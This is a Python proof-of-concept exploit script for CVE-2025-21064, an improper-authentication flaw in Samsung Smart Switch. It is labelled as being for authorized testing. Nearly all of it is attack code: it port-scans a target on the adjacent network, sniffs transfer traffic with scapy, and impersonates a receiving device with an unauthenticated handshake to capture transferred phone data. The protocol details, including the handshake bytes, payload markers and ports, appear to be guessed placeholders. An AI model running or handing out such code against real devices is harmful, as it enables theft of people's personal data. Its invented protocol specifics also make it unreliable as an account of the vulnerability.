The following code is for security research and authorized testing only.
python
# CVE-2025-21064 PoC - Samsung Smart Switch Improper Authentication
# This PoC demonstrates the concept of exploiting improper authentication
# in Samsung Smart Switch during data transfer via adjacent network.
import socket
import threading
import time
from scapy.all import *
class SmartSwitchExploit:
"""
PoC for CVE-2025-21064: Improper authentication in Samsung Smart Switch
prior to version 3.7.66.6 allows adjacent attackers to access transferring data.
"""
def __init__(self, target_ip=None, interface=None):
self.target_ip = target_ip
self.interface = interface
self.captured_data = []
self.running = False
def scan_smart_switch_service(self):
"""
Scan for Samsung Smart Switch service broadcasting on the network.
Smart Switch typically uses specific ports for data transfer.
"""
print("[*] Scanning for Samsung Smart Switch services...")
# Common ports used by Smart Switch for data transfer
smart_switch_ports = [26174, 26175, 26176, 26177, 26178]
discovered_devices = []
for port in smart_switch_ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((self.target_ip, port))
if result == 0:
print(f"[+] Found Smart Switch service on {self.target_ip}:{port}")
discovered_devices.append((self.target_ip, port))
sock.close()
except Exception as e:
pass
return discovered_devices
def sniff_transfer_traffic(self, packet_count=100):
"""
Sniff network traffic to capture Smart Switch data transfer.
Exploits the lack of proper authentication during transfer.
"""
print(f"[*] Sniffing traffic on {self.interface}...")
print("[*] Waiting for Smart Switch data transfer session...")
def packet_callback(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load
# Check for Smart Switch transfer protocol markers
if b'SmartSwitch' in payload or b'sswitch' in payload.lower():
self.captured_data.append(payload)
print(f"[+] Captured transfer data: {len(payload)} bytes")
sniff(iface=self.interface, prn=packet_callback, count=packet_count)
def impersonate_receiver(self, target_ip, port):
"""
Attempt to impersonate the receiving device to intercept data.
Demonstrates the improper authentication vulnerability.
"""
print(f"[*] Attempting to impersonate receiver at {target_ip}:{port}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, port))
# Send handshake without proper authentication
handshake = b"SMART_SWITCH_HANDSHAKE\x00\x01\x00\x00"
sock.send(handshake)
response = sock.recv(4096)
print(f"[+] Received handshake response: {len(response)} bytes")
# Receive transferred data
while True:
data = sock.recv(65536)
if not data:
break
self.captured_data.append(data)
print(f"[+] Intercepted data chunk: {len(data)} bytes")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
def run_exploit(self):
"""Main exploit execution flow."""
print("=" * 60)
print("CVE-2025-21064 - Samsung Smart Switch Exploit PoC")
print("=" * 60)
# Step 1: Discover Smart Switch services
devices = self.scan_smart_switch_service()
if not devices:
print("[-] No Smart Switch services found")
return
# Step 2: Attempt to intercept transfer (improper auth)
for ip, port in devices:
self.impersonate_receiver(ip, port)
# Step 3: Report captured data
total_data = sum(len(d) for d in self.captured_data)
print(f"\n[*] Total data intercepted: {total_data} bytes")
print(f"[*] Data chunks captured: {len(self.captured_data)}")
if __name__ == "__main__":
# Usage: python poc.py --target <IP> --interface <iface>
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-21064 PoC')
parser.add_argument('--target', help='Target IP address')
parser.add_argument('--interface', default='wlan0', help='Network interface')
args = parser.parse_args()
exploit = SmartSwitchExploit(target_ip=args.target, interface=args.interface)
exploit.run_exploit()